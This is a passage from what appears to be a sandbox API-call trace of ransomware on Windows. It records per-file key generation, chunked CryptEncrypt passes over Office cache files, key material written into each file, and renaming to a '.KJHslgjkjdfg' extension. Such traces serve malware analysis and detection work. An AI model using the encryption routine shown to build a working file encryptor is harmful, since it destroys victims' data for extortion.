lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0154.391] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0154.391] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0154.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0154.391] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0154.391] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0154.391] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0154.412] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0154.416] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.416] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0154.417] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.417] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0154.417] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0154.417] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.212] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0155.215] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.215] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.216] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.216] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0157.848] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0157.851] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.851] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0157.852] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.852] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0157.852] CryptDestroyKey (hKey=0x2f18208) returned 1 [0157.852] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.852] SetEndOfFile (hFile=0x124) returned 1 [0157.872] GetProcessHeap () returned 0x2ef0000 [0157.872] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0157.872] GetProcessHeap () returned 0x2ef0000 [0157.872] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0157.873] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.kjhslgjkjdfg")) returned 1 [0157.874] CloseHandle (hObject=0x124) returned 1 [0157.874] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0157.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.875] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=3124224) returned 1 [0157.875] GetProcessHeap () returned 0x2ef0000 [0157.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0157.875] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0157.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.875] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0157.875] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0157.875] GetProcessHeap () returned 0x2ef0000 [0157.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0157.875] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0157.875] CryptDestroyKey (hKey=0x2f18208) returned 1 [0157.875] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0157.883] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0157.883] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0157.883] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0157.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0157.883] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0157.883] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0157.883] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0157.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0157.883] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0157.982] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0157.985] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.985] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0158.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.024] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0158.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0158.024] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0158.248] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0158.250] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.250] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0158.273] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.274] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0158.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0158.274] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0159.645] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0159.648] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.648] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0159.649] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.649] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0159.650] CryptDestroyKey (hKey=0x2f18208) returned 1 [0159.650] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.650] SetEndOfFile (hFile=0x124) returned 1 [0159.654] GetProcessHeap () returned 0x2ef0000 [0159.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0159.654] GetProcessHeap () returned 0x2ef0000 [0159.654] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0159.655] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.kjhslgjkjdfg")) returned 1 [0162.753] CloseHandle (hObject=0x124) returned 1 [0162.753] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0162.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.754] GetProcessHeap () returned 0x2ef0000 [0162.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.754] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0162.754] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x1, lpOverlapped=0x0) returned 1 [0162.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.760] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.760] GetProcessHeap () returned 0x2ef0000 [0162.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0162.760] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0162.760] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.760] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0162.760] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.761] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0162.761] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0162.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0162.761] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0162.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.761] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.761] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x4cf, lpOverlapped=0x0) returned 1 [0162.761] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x4d0) returned 1 [0162.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.761] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x4d0, lpOverlapped=0x0) returned 1 [0162.761] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.761] SetEndOfFile (hFile=0x124) returned 1 [0162.764] GetProcessHeap () returned 0x2ef0000 [0162.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.764] GetProcessHeap () returned 0x2ef0000 [0162.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0162.764] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0162.766] CloseHandle (hObject=0x124) returned 1 [0162.766] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0162.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.766] GetProcessHeap () returned 0x2ef0000 [0162.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0162.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0162.767] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0162.767] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0162.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0162.780] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0162.780] GetProcessHeap () returned 0x2ef0000 [0162.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0162.780] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0162.780] CryptDestroyKey (hKey=0x2f18208) returned 1 [0162.780] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, 